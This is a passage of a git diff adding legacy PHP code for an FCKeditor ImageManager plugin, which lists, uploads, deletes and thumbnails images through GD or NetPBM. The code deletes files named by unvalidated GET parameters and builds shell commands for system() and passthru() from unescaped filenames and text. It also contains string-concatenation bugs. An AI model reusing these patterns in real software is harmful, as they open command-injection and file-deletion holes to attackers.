+        * base is appended with an increasing integer.
+        * @param string $relative the relative filename to the base_dir
+        * @return string a unique filename in the current path
+        */
+       function getUniqueFilename($relative) 
+       {
+               $fullpath = $this->manager->getFullPath($relative);
+               
+               $pathinfo = pathinfo($fullpath);
+
+               $path = Files::fixPath($pathinfo['dirname']);
+               $file = Files::escape($pathinfo['basename']);
+               
+               $filename = $file;
+
+               $dotIndex = strrpos($file, '.');
+               $ext = '';
+
+               if(is_int($dotIndex)) 
+               {
+                       $ext = substr($file, $dotIndex);
+                       $base = substr($file, 0, $dotIndex);
+               }
+
+               $counter = 0;
+               while(is_file($path.$filename)) 
+               {
+                       $counter++;
+                       $filename = $base.'_'.$counter.$ext;
+               }
+               
+               Return $filename;
+               
+       }
+
+       /**
+        * Specifiy the original relative path, a new filename
+        * and return the new filename with relative path.
+        * i.e. $pathA (-filename) + $file
+        * @param string $pathA the relative file
+        * @param string $file the new filename
+        * @return string relative path with the new filename
+        */
+       function makeRelative($pathA, $file) 
+       {
+               $index = strrpos($pathA,'/');
+               if(!is_int($index))
+                       Return $file;
+
+               $path = substr($pathA, 0, $index);
+               Return Files::fixPath($path).$file;
+       }
+
+       /**
+        * Get the action GET parameter
+        * @return string action parameter
+        */
+       function getAction() 
+       {
+               $action = null;
+               if(isset($_GET['action']))
+                       $action = $_GET['action'];
+               Return $action;
+       }
+
+       /**
+        * Generate a unique string based on md5(microtime()).
+        * Well not so uniqe, as it is limited to 6 characters
+        * @return string unique string.
+        */
+    function uniqueStr()
+    {
+      return substr(md5(microtime()),0,6);
+    }
+
+       /**
+        * Create unique tmp image file name.
+        * The filename is based on the tmp file prefix
+        * specified in config.inc.php plus 
+        * the UID (basically a md5 of the remote IP)
+        * and some random 6 character string.
+        * This function also calls to clean up the tmp files.
+        * @param string $file the fullpath to a file
+        * @return string a unique filename for that path
+        * NOTE: it only returns the filename, path no included.
+        */
+       function createUnique($file) 
+       {
+               $pathinfo = pathinfo($file);
+               $path = Files::fixPath($pathinfo['dirname']);
+               $imgType = $this->getImageType($file);
+
+               $unique_str = $this->manager->getTmpPrefix().$this->_uid.'_'.$this->uniqueStr().".".$imgType;
+
+          //make sure the the unique temp file does not exists
+        while (file_exists($path.$unique_str))
+        {
+            $unique_str = $this->manager->getTmpPrefix().$this->_uid.'_'.$this->uniqueStr().".".$imgType;
+        }
+
+               $this->cleanUp($path,$pathinfo['basename']);
+
+               Return $unique_str;
+       }
+
+       /**
+        * Delete any tmp image files.
+        * @param string $path the full path 
+        * where the clean should take place.
+        */
+       function cleanUp($path,$file) 
+       {
+               $path = Files::fixPath($path);
+
+               if(!is_dir($path))
+                       Return false;
+
+               $d = @dir($path);
+               
+               $tmp = $this->manager->getTmpPrefix();
+               $tmpLen = strlen($tmp);
+
+               $prefix = $tmp.$this->_uid;
+               $len = strlen($prefix);
+
+               while (false !== ($entry = $d->read())) 
+               {
+                       //echo $entry."<br>";
+                       if(is_file($path.$entry) && $this->manager->isTmpFile($entry))
+                       {
+                               if(substr($entry,0,$len)==$prefix && $entry != $file)
+                                       Files::delFile($path.$entry);
+                               else if(substr($entry,0,$tmpLen)==$tmp && $entry != $file)
+                               {
+                                       if(filemtime($path.$entry)+$this->lapse_time < time())
+                                               Files::delFile($path.$entry);
+                               }
+                       }
+               }
+               $d->close();
+       }
+
+       /**
+        * Get the image type base on an image file.
+        * @param string $file the full path to the image file.
+        * @return string of either 'gif', 'jpeg', 'png' or 'bmp'
+        * otherwise it will return null.
+        */
+       function getImageType($file) 
+       {
+               $imageInfo = @getImageSize($file);
+
+               if(!is_array($imageInfo))
+                       Return null;
+
+               switch($imageInfo[2]) 
+               {
+                       case 1:
+                               Return 'gif';
+                       case 2:
+                               Return 'jpeg';
+                       case 3:
+                               Return 'png';
+                       case 6:
+                               Return 'bmp';
+               }
+
+               Return null;
+       }
+
+       /**
+        * Check if the specified image can be edit by GD
+        * mainly to check that GD can read and save GIFs
+        * @return int 0 if it is not a GIF file, 1 is GIF is editable, -1 if not editable.
+        */
+       function isGDEditable() 
+       {
+               if(isset($_GET['img']))
+                       $relative = rawurldecode($_GET['img']);
+               else
+                       Return 0;
+               if(IMAGE_CLASS != 'GD')
+                       Return 0;
+
+               $fullpath = $this->manager->getFullPath($relative);
+
+               $type = $this->getImageType($fullpath);
+               if($type != 'gif')
+                       Return 0;
+
+               if(function_exists('ImageCreateFrom'+$type)
+                       && function_exists('image'+$type))
+                       Return 1;
+               else
+                       Return -1;
+       }
+
+       /**
+        * Check if GIF can be edit by GD.
+        * @return int 0 if it is not using the GD library, 1 is GIF is editable, -1 if not editable.
+        */
+       function isGDGIFAble() 
+       {
+               if(IMAGE_CLASS != 'GD')
+                       Return 0;
+
+               if(function_exists('ImageCreateFromGif')
+                       && function_exists('imagegif'))
+                       Return 1;
+               else
+                       Return -1;
+       }
+}
+
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/ImageManager.php b/fckeditor/editor/plugins/ImageManager/Classes/ImageManager.php
new file mode 100755 (executable)
index 0000000..24e7321
--- /dev/null
@@ -0,0 +1,694 @@
+<?php
+/**
+ * ImageManager, list images, directories, and thumbnails.
+ * @author Wei Zhuo
+ * @version $Id: ImageManager.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('Files.php');
+require_once('Transform.php');
+
+/**
+ * ImageManager Class.
+ * @author Wei Zhuo
+ * @version $Id: ImageManager.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ */
+class ImageManager 
+{
+       /**
+        * Configuration array.
+        */
+       var $config;
+
+       /**
+        * Array of directory information.
+        */
+       var $dirs;
+
+       /**
+        * Constructor. Create a new Image Manager instance.
+        * @param array $config configuration array, see config.inc.php
+        */
+       function ImageManager($config) 
+       {
+               $this->config = $config;
+       }
+
+       /**
+        * Get the base directory.
+        * @return string base dir, see config.inc.php
+        */
+       function getBaseDir() 
+       {
+               Return $this->config['base_dir'];
+       }
+
+       /**
+        * Get the base URL.
+        * @return string base url, see config.inc.php
+        */
+       function getBaseURL() 
+       {
+               Return $this->config['base_url'];
+       }
+
+       function isValidBase()
+       {
+               return is_dir($this->getBaseDir());
+       }
+
+       /**
+        * Get the tmp file prefix.
+     * @return string tmp file prefix.
+        */
+       function getTmpPrefix() 
+       {
+               Return $this->config['tmp_prefix'];
+       }
+
+       /**
+        * Get the sub directories in the base dir.
+        * Each array element contain
+        * the relative path (relative to the base dir) as key and the 
+        * full path as value.
+        * @return array of sub directries
+        * <code>array('path name' => 'full directory path', ...)</code>
+        */
+       function getDirs() 
+       {
+               if(is_null($this->dirs))
+               {
+                       $dirs = $this->_dirs($this->getBaseDir(),'/');
+                       ksort($dirs);
+                       $this->dirs = $dirs;
+               }
+               return $this->dirs;
+       }
+
+       /**
+        * Recursively travese the directories to get a list
+        * of accessable directories.
+        * @param string $base the full path to the current directory
+        * @param string $path the relative path name
+        * @return array of accessiable sub-directories
+        * <code>array('path name' => 'full directory path', ...)</code>
+        */
+       function _dirs($base, $path) 
+       {
+               $base = Files::fixPath($base);
+               $dirs = array();
+
+               if($this->isValidBase() == false)
+                       return $dirs;
+
+               $d = @dir($base);
+               
+               while (false !== ($entry = $d->read())) 
+               {
+                       //If it is a directory, and it doesn't start with
+                       // a dot, and if is it not the thumbnail directory
+                       if(is_dir($base.$entry) 
+                               && substr($entry,0,1) != '.'
+                               && $this->isThumbDir($entry) == false) 
+                       {
+                               $relative = Files::fixPath($path.$entry);
+                               $fullpath = Files::fixPath($base.$entry);
+                               $dirs[$relative] = $fullpath;
+                               $dirs = array_merge($dirs, $this->_dirs($fullpath, $relative));
+                       }
+               }
+               $d->close();
+
+               Return $dirs;
+       }
+
+       /**
+        * Get all the files and directories of a relative path.
+        * @param string $path relative path to be base path.
+        * @return array of file and path information.
+        * <code>array(0=>array('relative'=>'fullpath',...), 1=>array('filename'=>fileinfo array(),...)</code>
+        * fileinfo array: <code>array('url'=>'full url', 
+        *                       'relative'=>'relative to base', 
+        *                        'fullpath'=>'full file path', 
+        *                        'image'=>imageInfo array() false if not image,
+        *                        'stat' => filestat)</code>
+        */
+       function getFiles($path) 
+       {
+               $files = array();
+               $dirs = array();
+
+               if($this->isValidBase() == false)
+                       return array($files,$dirs);
+
+               $path = Files::fixPath($path);
+               $base = Files::fixPath($this->getBaseDir());
+               $fullpath = Files::makePath($base,$path);
+
+
+               $d = @dir($fullpath);
+               
+               while (false !== ($entry = $d->read())) 
+               {
+                       //not a dot file or directory
+                       if(substr($entry,0,1) != '.')
+                       {
+                               if(is_dir($fullpath.$entry)
+                                       && $this->isThumbDir($entry) == false)
+                               {
+                                       $relative = Files::fixPath($path.$entry);
+                                       $full = Files::fixPath($fullpath.$entry);
+                                       $count = $this->countFiles($full);
+                                       $dirs[$relative] = array('fullpath'=>$full,'entry'=>$entry,'count'=>$count);
+                               }
+                               else if(is_file($fullpath.$entry) && $this->isThumb($entry)==false && $this->isTmpFile($entry) == false) 
+                               {
+                                       $img = $this->getImageInfo($fullpath.$entry);
+
+                                       if(!(!is_array($img)&&$this->config['validate_images']))
+                                       {
+                                               $file['url'] = Files::makePath($this->config['base_url'],$path).$entry;
+                                               $file['relative'] = $path.$entry;
+                                               $file['fullpath'] = $fullpath.$entry;
+                                               $file['image'] = $img;
+                                               $file['stat'] = stat($fullpath.$entry);
+                                               $files[$entry] = $file;
+                                       }
+                               }
+                       }
+               }
+               $d->close();
+               ksort($dirs);
+               ksort($files);
+               
+               Return array($dirs, $files);
+       }       
+
+       /**
+        * Count the number of files and directories in a given folder
+        * minus the thumbnail folders and thumbnails.
+        */
+       function countFiles($path) 
+       {
+               $total = 0;
+
+               if(is_dir($path)) 
+               {
+                       $d = @dir($path);
+
+                       while (false !== ($entry = $d->read())) 
+                       {
+                               //echo $entry."<br>";
+                               if(substr($entry,0,1) != '.'
+                                       && $this->isThumbDir($entry) == false
+                                       && $this->isTmpFile($entry) == false
+                                       && $this->isThumb($entry) == false) 
+                               {
+                                       $total++;
+                               }
+                       }
+                       $d->close();
+               }
+               return $total;
+       }
+
+       /**
+        * Get image size information.
+        * @param string $file the image file
+        * @return array of getImageSize information, 
+        *  false if the file is not an image.
+        */
+       function getImageInfo($file) 
+       {
+               Return @getImageSize($file);
+       }
+
+       /**
+        * Check if the file contains the thumbnail prefix.
+        * @param string $file filename to be checked
+        * @return true if the file contains the thumbnail prefix, false otherwise.
+        */
+       function isThumb($file) 
+       {
+               $len = strlen($this->config['thumbnail_prefix']);
+               if(substr($file,0,$len)==$this->config['thumbnail_prefix'])
+                       Return true;
+               else
+                       Return false;
+       }
+
+       /**
+        * Check if the given directory is a thumbnail directory.
+        * @param string $entry directory name
+        * @return true if it is a thumbnail directory, false otherwise
+        */
+       function isThumbDir($entry) 
+       {
+               if($this->config['thumbnail_dir'] == false
+                       || strlen(trim($this->config['thumbnail_dir'])) == 0)
+                       Return false;           
+               else
+                       Return ($entry == $this->config['thumbnail_dir']);
+       }
+
+       /**
+        * Check if the given file is a tmp file.
+        * @param string $file file name
+        * @return boolean true if it is a tmp file, false otherwise
+        */
+       function isTmpFile($file) 
+       {
+               $len = strlen($this->config['tmp_prefix']);
+               if(substr($file,0,$len)==$this->config['tmp_prefix'])
+                       Return true;
+               else
+                       Return false;           
+       }
+
+       /**
+        * For a given image file, get the respective thumbnail filename
+        * no file existence check is done.
+        * @param string $fullpathfile the full path to the image file
+        * @return string of the thumbnail file
+        */
+       function getThumbName($fullpathfile) 
+       {
+               $path_parts = pathinfo($fullpathfile);
+               
+               $thumbnail = $this->config['thumbnail_prefix'].$path_parts['basename'];
+
+               if($this->config['safe_mode'] == true
+                       || strlen(trim($this->config['thumbnail_dir'])) == 0)
+               {
+                       Return Files::makeFile($path_parts['dirname'],$thumbnail);
+               }
+               else
+               {
+                       if(strlen(trim($this->config['thumbnail_dir'])) > 0)
+                       {
+                               $path = Files::makePath($path_parts['dirname'],$this->config['thumbnail_dir']);
+                               if(!is_dir($path))
+                                       Files::createFolder($path);
+                               Return Files::makeFile($path,$thumbnail);
+                       }
+                       else //should this ever happen?
+                       {
+                               //error_log('ImageManager: Error in creating thumbnail name');
+                       }
+               }
+       }
+       
+       /**
+        * Similar to getThumbName, but returns the URL, base on the
+        * given base_url in config.inc.php
+        * @param string $relative the relative image file name, 
+        * relative to the base_dir path
+        * @return string the url of the thumbnail
+        */
+       function getThumbURL($relative) 
+       {
+               $path_parts = pathinfo($relative);
+               $thumbnail = $this->config['thumbnail_prefix'].$path_parts['basename'];
+               if($path_parts['dirname']=='\\') $path_parts['dirname']='/';
+
+               if($this->config['safe_mode'] == true
+                       || strlen(trim($this->config['thumbnail_dir'])) == 0)
+               {
+                       Return Files::makeFile($this->getBaseURL(),$thumbnail);
+               }
+               else
+               {
+                       if(strlen(trim($this->config['thumbnail_dir'])) > 0)
+                       {
+                               $path = Files::makePath($path_parts['dirname'],$this->config['thumbnail_dir']);
+                               $url_path = Files::makePath($this->getBaseURL(), $path);
+                               Return Files::makeFile($url_path,$thumbnail);
+                       }
+                       else //should this ever happen?
+                       {
+                               //error_log('ImageManager: Error in creating thumbnail url');
+                       }
+
+               }
+       }
+
+       /**
+        * Check if the given path is part of the subdirectories
+        * under the base_dir.
+        * @param string $path the relative path to be checked
+        * @return boolean true if the path exists, false otherwise
+        */
+       function validRelativePath($path) 
+       {
+               $dirs = $this->getDirs();
+               if($path == '/' || $path == '')
+                       Return true;
+               //check the path given in the url against the 
+               //list of paths in the system.
+               for($i = 0; $i < count($dirs); $i++)
+               {
+                       $key = key($dirs);
+                       //we found the path
+                       if($key == $path)
+                               Return true;
+               
+                       next($dirs);
+               }               
+               Return false;
+       }
+
+       /**
+        * Process uploaded files, assumes the file is in 
+        * $_FILES['upload'] and $_POST['dir'] is set.
+        * The dir must be relative to the base_dir and exists.
+        * If 'validate_images' is set to true, only file with
+        * image dimensions will be accepted.
+        * @return null
+        */
+       function processUploads() 
+       {
+               if($this->isValidBase() == false)
+                       return;
+
+               $relative = null;
+
+               if(isset($_POST['dir'])) 
+                       $relative = rawurldecode($_POST['dir']);
+               else
+                       return;
+
+               //check for the file, and must have valid relative path
+               if(isset($_FILES['upload']) && $this->validRelativePath($relative))
+               {
+                       return $this->_processFiles($relative, $_FILES['upload']);
+               }
+       }
+
+       /**
+        * Process upload files. The file must be an 
+        * uploaded file. If 'validate_images' is set to
+        * true, only images will be processed. Any duplicate
+        * file will be renamed. See Files::copyFile for details
+        * on renaming.
+        * @param string $relative the relative path where the file
+        * should be copied to.
+        * @param array $file the uploaded file from $_FILES
+        * @return boolean true if the file was processed successfully, 
+        * false otherwise
+        */
+       function _processFiles($relative, $file)
+       {
+               
+               if($file['error']!=0)
+               {
+                       Return false;
+               }
+
+               if(!is_file($file['tmp_name']))
+               {
+                       Return false;
+               }
+
+               if(!is_uploaded_file($file['tmp_name']))
+               {
+                       Files::delFile($file['tmp_name']);
+                       Return false;
+               }
+               
+
+               if($this->config['validate_images'] == true)
+               {
+                       $imgInfo = @getImageSize($file['tmp_name']);
+                       if(!is_array($imgInfo))
+                       {
+                               Files::delFile($file['tmp_name']);
+                               Return false;
+                       }
+               }
+
+               //now copy the file
+               $path = Files::makePath($this->getBaseDir(),$relative);
+               $result = Files::copyFile($file['tmp_name'], $path, $file['name']);
+
+       // constrain image size
+       if(!is_int($result))
+       {
+           $img = Image_Transform::factory(IMAGE_CLASS);
+           $img->load($path . $result);
+
+           // If maximum size is specified, constrain image to it.
+           if ($this->config['maxWidth'] > 0 && $this->config['maxHeight'] > 0 && ($img->img_x > $this->config['maxWidth'] || $img->img_y > $this->config['maxHeight']))
+           {
+               $percentage = min($this->config['maxWidth']/$img->img_x, $this->config['maxHeight']/$img->img_y);
+               $img->scale($percentage);
+           }
+           $img->save($path . $result);
+           $img->free();
+       }
+       
+               //no copy error
+               if(!is_int($result))
+               {
+                       Files::delFile($file['tmp_name']);
+                       Return $result;
+               }
+
+               //delete tmp files.
+               Files::delFile($file['tmp_name']);
+               Return false;
+       }
+
+       /**
+        * Get the URL of the relative file.
+        * basically appends the relative file to the 
+        * base_url given in config.inc.php
+        * @param string $relative a file the relative to the base_dir
+        * @return string the URL of the relative file.
+        */
+       function getFileURL($relative) 
+       {
+               Return Files::makeFile($this->getBaseURL(),$relative);
+       }
+
+       /**
+        * Get the fullpath to a relative file.
+        * @param string $relative the relative file.
+        * @return string the full path, .ie. the base_dir + relative.
+        */
+       function getFullPath($relative) 
+       {
+               Return Files::makeFile($this->getBaseDir(),$relative);;
+       }
+
+       /**
+        * Get the default thumbnail.
+        * @return string default thumbnail, empty string if 
+        * the thumbnail doesn't exist.
+        */
+       function getDefaultThumb() 
+       {
+               if(is_file($this->config['default_thumbnail']))
+                       Return $this->config['default_thumbnail'];
+               else 
+                       Return '';
+       }
+
+
+       /**
+        * Get the thumbnail url to be displayed. 
+        * If the thumbnail exists, and it is up-to-date
+        * the thumbnail url will be returns. If the 
+        * file is not an image, a default image will be returned.
+        * If it is an image file, and no thumbnail exists or 
+        * the thumbnail is out-of-date (i.e. the thumbnail 
+        * modified time is less than the original file)
+        * then a thumbs.php?img=filename.jpg is returned.
+        * The thumbs.php url will generate a new thumbnail
+        * on the fly. If the image is less than the dimensions
+        * of the thumbnails, the image will be display instead.
+        * @param string $relative the relative image file.
+        * @return string the url of the thumbnail, be it
+        * actually thumbnail or a script to generate the
+        * thumbnail on the fly.
+        */
+       function getThumbnail($relative) 
+       {
+               $fullpath = Files::makeFile($this->getBaseDir(),$relative);
+
+               //not a file???
+               if(!is_file($fullpath))
+                       Return $this->getDefaultThumb();
+
+               $imgInfo = @getImageSize($fullpath);
+               
+               //not an image
+               if(!is_array($imgInfo))
+                       Return $this->getDefaultThumb();
+
+               //the original image is smaller than thumbnails,
+               //so just return the url to the original image.
+               if ($imgInfo[0] <= $this->config['thumbnail_width']
+                && $imgInfo[1] <= $this->config['thumbnail_height'])
+                       Return $this->getFileURL($relative);
+
+               $thumbnail = $this->getThumbName($fullpath);
+               
+               //check for thumbnails, if exists and
+               // it is up-to-date, return the thumbnail url
+               if(is_file($thumbnail))
+               {
+                       if(filemtime($thumbnail) >= filemtime($fullpath))
+                               Return $this->getThumbURL($relative);
+               }
+
+               //well, no thumbnail was found, so ask the thumbs.php
+               //to generate the thumbnail on the fly.
+               Return 'thumbs.php?img='.rawurlencode($relative);
+       }
+
+       /**
+        * Delete and specified files.
+        * @return boolean true if delete, false otherwise
+        */
+       function deleteFiles() 
+       {
+               if(isset($_GET['delf']))
+                       $this->_delFile(rawurldecode($_GET['delf']));
+       }
+
+       /**
+        * Delete and specified directories.
+        * @return boolean true if delete, false otherwise
+        */
+       function deleteDirs() 
+       {
+                if(isset($_GET['deld']))
+                       return $this->_delDir(rawurldecode($_GET['deld']));             
+                else
+                        Return false;
+       }
+
+       /**
+        * Delete the relative file, and any thumbnails.
+        * @param string $relative the relative file.
+        * @return boolean true if deleted, false otherwise.
+        */
+       function _delFile($relative) 
+       {
+               $fullpath = Files::makeFile($this->getBaseDir(),$relative);
+               
+               //check that the file is an image
+               if($this->config['validate_images'] == true)
+               {
+                       if(!is_array($this->getImageInfo($fullpath)))
+                               return false; //hmmm not an Image!!???
+               }
+
+               $thumbnail = $this->getThumbName($fullpath);
+
+               if(Files::delFile($fullpath))
+                       Return Files::delFile($thumbnail);
+               else
+                       Return false;
+       }
+
+       /**
+        * Delete directories recursively.
+        * @param string $relative the relative path to be deleted.
+        * @return boolean true if deleted, false otherwise.
+        */
+       function _delDir($relative) 
+       {
+               $fullpath = Files::makePath($this->getBaseDir(),$relative);
+               if($this->countFiles($fullpath) <= 0)
+                       return Files::delFolder($fullpath,true); //delete recursively.
+               else
+                       Return false;
+       }
+
+       /**
+        * Create new directories.
+        * If in safe_mode, nothing happens.
+        * @return boolean true if created, false otherwise.
+        */
+       function processNewDir() 
+       {
+               if($this->config['safe_mode'] == true)
+                       Return false;
+
+               if(isset($_GET['newDir']) && isset($_GET['dir']))
+               {
+                       $newDir = rawurldecode($_GET['newDir']);
+                       $dir = rawurldecode($_GET['dir']);
+                       $path = Files::makePath($this->getBaseDir(),$dir);
+                       $fullpath = Files::makePath($path, Files::escape($newDir));
+                       if(is_dir($fullpath))
+                               Return false;
+
+                       Return Files::createFolder($fullpath);
+               }
+       }
+
+       /**
+        * Do some graphic library method checkings
+        * @param string $library the graphics library, GD, NetPBM, or IM.
+        * @param string $method the method to check.
+        * @return boolean true if able, false otherwise.
+        */
+       function validGraphicMethods($library,$method)
+       {
+               switch ($library)
+               {
+                       case 'GD':
+                               return $this->_checkGDLibrary($method);
+                               break;
+                       case 'NetPBM':
+                               return $this->_checkNetPBMLibrary($method);
+                               break;
+                       case 'IM':
+                               return $this->_checkIMLibrary($method);
+               }
+               return false;
+       }
+
+       function _checkIMLibrary($method)
+       {
+               //ImageMagick goes throught 1 single executable
+               if(is_file(Files::fixPath(IMAGE_TRANSFORM_LIB_PATH).'convert'))
+                       return true;
+               else
+                       return false;
+       }
+
+       /**
+        * Check the GD library functionality.
+        * @param string $library the graphics library, GD, NetPBM, or IM.
+        * @return boolean true if able, false otherwise.
+        */
+       function _checkGDLibrary($method)
+       {
+               $errors = array();
+               switch($method)
+               {
+                       case 'create':
+                               $errors['createjpeg'] = function_exists('imagecreatefromjpeg');
+                               $errors['creategif'] = function_exists('imagecreatefromgif');
+                               $errors['createpng'] = function_exists('imagecreatefrompng');
+                               break;
+                       case 'modify':
+                               $errors['create'] = function_exists('ImageCreateTrueColor') || function_exists('ImageCreate');
+                               $errors['copy'] = function_exists('ImageCopyResampled') || function_exists('ImageCopyResized');
+                               break;
+                       case 'save':
+                               $errors['savejpeg'] = function_exists('imagejpeg');
+                               $errors['savegif'] = function_exists('imagegif');
+                               $errors['savepng'] = function_exists('imagepng');
+                               break;
+               }
+
+               return $errors;
+       }
+}
+
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/NetPBM.php b/fckeditor/editor/plugins/ImageManager/Classes/NetPBM.php
new file mode 100755 (executable)
index 0000000..b841a45
--- /dev/null
@@ -0,0 +1,257 @@
+<?php
+/***********************************************************************
+** Title.........:  NetPBM Driver
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  NetPBM.php
+** Last changed..:  30 Aug 2003 
+** Notes.........:  Orginal is from PEAR
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4                                                        |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group                                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license,      |
+// | that is bundled with this package in the file LICENSE, and is        |
+// | available at through the world-wide-web at                           |
+// | http://www.php.net/license/2_02.txt.                                 |
+// | If you did not receive a copy of the PHP license and are unable to   |
+// | obtain it through the world-wide-web, please send a note to          |
+// | license@php.net so we can mail you a copy immediately.               |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
+// +----------------------------------------------------------------------+
+//
+// $Id: NetPBM.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+//
+// Image Transformation interface using command line NetPBM
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_NetPBM extends Image_Transform
+{
+
+    /**
+     * associative array commands to be executed
+     * @var array
+     */
+    var $command = array();
+
+    /**
+     * Class Constructor
+     */
+    function Image_Transform_Driver_NetPBM()
+    {
+        $this->uid = md5($_SERVER['REMOTE_ADDR']);
+            
+        return true;
+    } // End function Image_NetPBM
+
+    /**
+     * Load image
+     *
+     * @param string filename
+     *
+     * @return mixed none or a PEAR error object on error
+     * @see PEAR::isError()
+     */
+    function load($image)
+    {
+        //echo $image;
+        $this->image = $image;
+        $this->_get_image_details($image);
+    } // End load
+
+    /**
+     * Resizes the image
+     *
+     * @return none
+     * @see PEAR::isError()
+     */
+    function _resize($new_x, $new_y)
+    {
+        // there's no technical reason why resize can't be called multiple
+        // times...it's just silly to do so
+
+        $this->command[] = IMAGE_TRANSFORM_LIB_PATH .
+                           "pnmscale -width $new_x -height $new_y";
+
+        $this->_set_new_x($new_x);
+        $this->_set_new_y($new_y);
+    } // End resize
+
+    /**
+     * Crop the image
+     *
+     * @param int $crop_x left column of the image
+     * @param int $crop_y top row of the image
+     * @param int $crop_width new cropped image width
+     * @param int $crop_height new cropped image height
+     */
+    function crop($crop_x, $crop_y, $crop_width, $crop_height) 
+    {
+        $this->command[] = IMAGE_TRANSFORM_LIB_PATH .
+                            "pnmcut -left $crop_x -top $crop_y -width $crop_width -height $crop_height";
+    }
+
+    /**
+     * Rotates the image
+     *
+     * @param int $angle The angle to rotate the image through
+     */
+    function rotate($angle)
+    {
+        $angle = -1*floatval($angle);
+
+        if($angle > 90)
+        {   
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias 90";
+            $this->rotate(-1*($angle-90));
+        }
+        else if ($angle < -90)
+        {
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias -90";
+            $this->rotate(-1*($angle+90));
+        }
+        else
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias $angle";
+    } // End rotate
+
+    /**
+     * Flip the image horizontally or vertically
+     *
+     * @param boolean $horizontal true if horizontal flip, vertical otherwise
+     */
+    function flip($horizontal) 
+    {
+        if($horizontal) 
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmflip -lr";
+        else
+            $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmflip -tb";
+    }
+
+    /**
+     * Adjust the image gamma
+     *
+     * @param float $outputgamma
+     *
+     * @return none
+     */
+    function gamma($outputgamma = 1.0) {
+        $this->command[13] = IMAGE_TRANSFORM_LIB_PATH . "pnmgamma $outputgamma";
+    }
+
+    /**
+     * adds text to an image
+     *
+     * @param   array   options     Array contains options
+     *             array(
+     *                  'text'          // The string to draw
+     *                  'x'             // Horizontal position
+     *                  'y'             // Vertical Position
+     *                  'Color'         // Font color
+     *                  'font'          // Font to be used
+     *                  'size'          // Size of the fonts in pixel
+     *                  'resize_first'  // Tell if the image has to be resized
+     *                                  // before drawing the text
+     *                   )
+     *
+     * @return none
+     */
+    function addText($params)
+    {
+        $default_params = array('text' => 'This is Text',
+                                'x' => 10,
+                                'y' => 20,
+                                'color' => 'red',
+                                'font' => 'Arial.ttf',
+                                'size' => '12',
+                                'angle' => 0,
+                                'resize_first' => false);
+        // we ignore 'resize_first' since the more logical approach would be
+        // for the user to just call $this->_resize() _first_ ;)
+        extract(array_merge($default_params, $params));
+        $this->command[] = "ppmlabel -angle $angle -colour $color -size "
+                           ."$size -x $x -y ".$y+$size." -text \"$text\"";
+    } // End addText
+
+    function _postProcess($type, $quality, $save_type)
+    {
+        $type = is_null($type) || $type==''? $this->type : $type;
+        $save_type = is_null($save_type) || $save_type==''? $this->type : $save_type;
+        //echo "TYPE:". $this->type;
+        array_unshift($this->command, IMAGE_TRANSFORM_LIB_PATH
+                      . $type.'topnm '. $this->image);
+        $arg = '';
+        switch(strtolower($save_type)){
+            case 'gif':
+                $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmquant 256";
+                $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmto$save_type";
+                break;
+            case 'jpg':
+            case 'jpeg':
+                $arg = "--quality=$quality";
+                $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmto$save_type $arg";
+                break;
+            default:
+                $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmto$save_type $arg";
+                break;
+        } // switch
+        return implode('|', $this->command);
+    } 
+
+    /**
+     * Save the image file
+     *
+     * @param $filename string the name of the file to write to
+     * @param string $type (jpeg,png...);
+     * @param int $quality 75
+     * @return none
+     */
+    function save($filename, $type=null, $quality = 85)
+    {
+        $cmd = $this->_postProcess('', $quality, $type) . ">$filename";
+            
+               //if we have windows server
+        if(isset($_ENV['OS']) && eregi('window',$_ENV['OS']))
+                       $cmd = ereg_replace('/','\\',$cmd);
+        //echo $cmd."##";
+        $output = system($cmd);
+               error_log('NETPBM: '.$cmd);
+               //error_log($output);
+        $this->command = array();
+    } // End save
+
+
+    /**
+     * Display image without saving and lose changes
+     *
+     * @param string $type (jpeg,png...);
+     * @param int $quality 75
+     * @return none
+     */
+    function display($type = null, $quality = 75)
+    {
+        header('Content-type: image/' . $type);
+        $cmd = $this->_postProcess($type, $quality);
+        
+        passthru($cmd);
+        $this->command = array();
+    }
+
+    /**
+     * Destroy image handle
+     *
+     * @return none
+     */
+    function free()
+    {
+        // there is no image handle here
+        return true;
+    }
+
+
+} // End class NetPBM
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/Thumbnail.php b/fckeditor/editor/plugins/ImageManager/Classes/Thumbnail.php
new file mode 100755 (executable)
index 0000000..30bd603
--- /dev/null
@@ -0,0 +1,125 @@
+<?php
+/**
+ * Create thumbnails.
+ * @author Wei Zhuo
+ * @version $Id: Thumbnail.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ */
+
+
+require_once('Transform.php');
+
+/**
+ * Thumbnail creation
+ * @author Wei Zhuo
+ * @version $Id: Thumbnail.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ * @subpackage Images
+ */
+class Thumbnail 
+{
+       /**
+        * Graphics driver, GD, NetPBM or ImageMagick.
+        */
+       var $driver;
+
+       /**
+        * Thumbnail default width.
+        */
+       var $width = 96;
+
+       /**
+        * Thumbnail default height.
+        */
+       var $height = 96;
+
+       /**
+        * Thumbnail default JPEG quality.
+        */
+       var $quality = 85;
+
+       /**
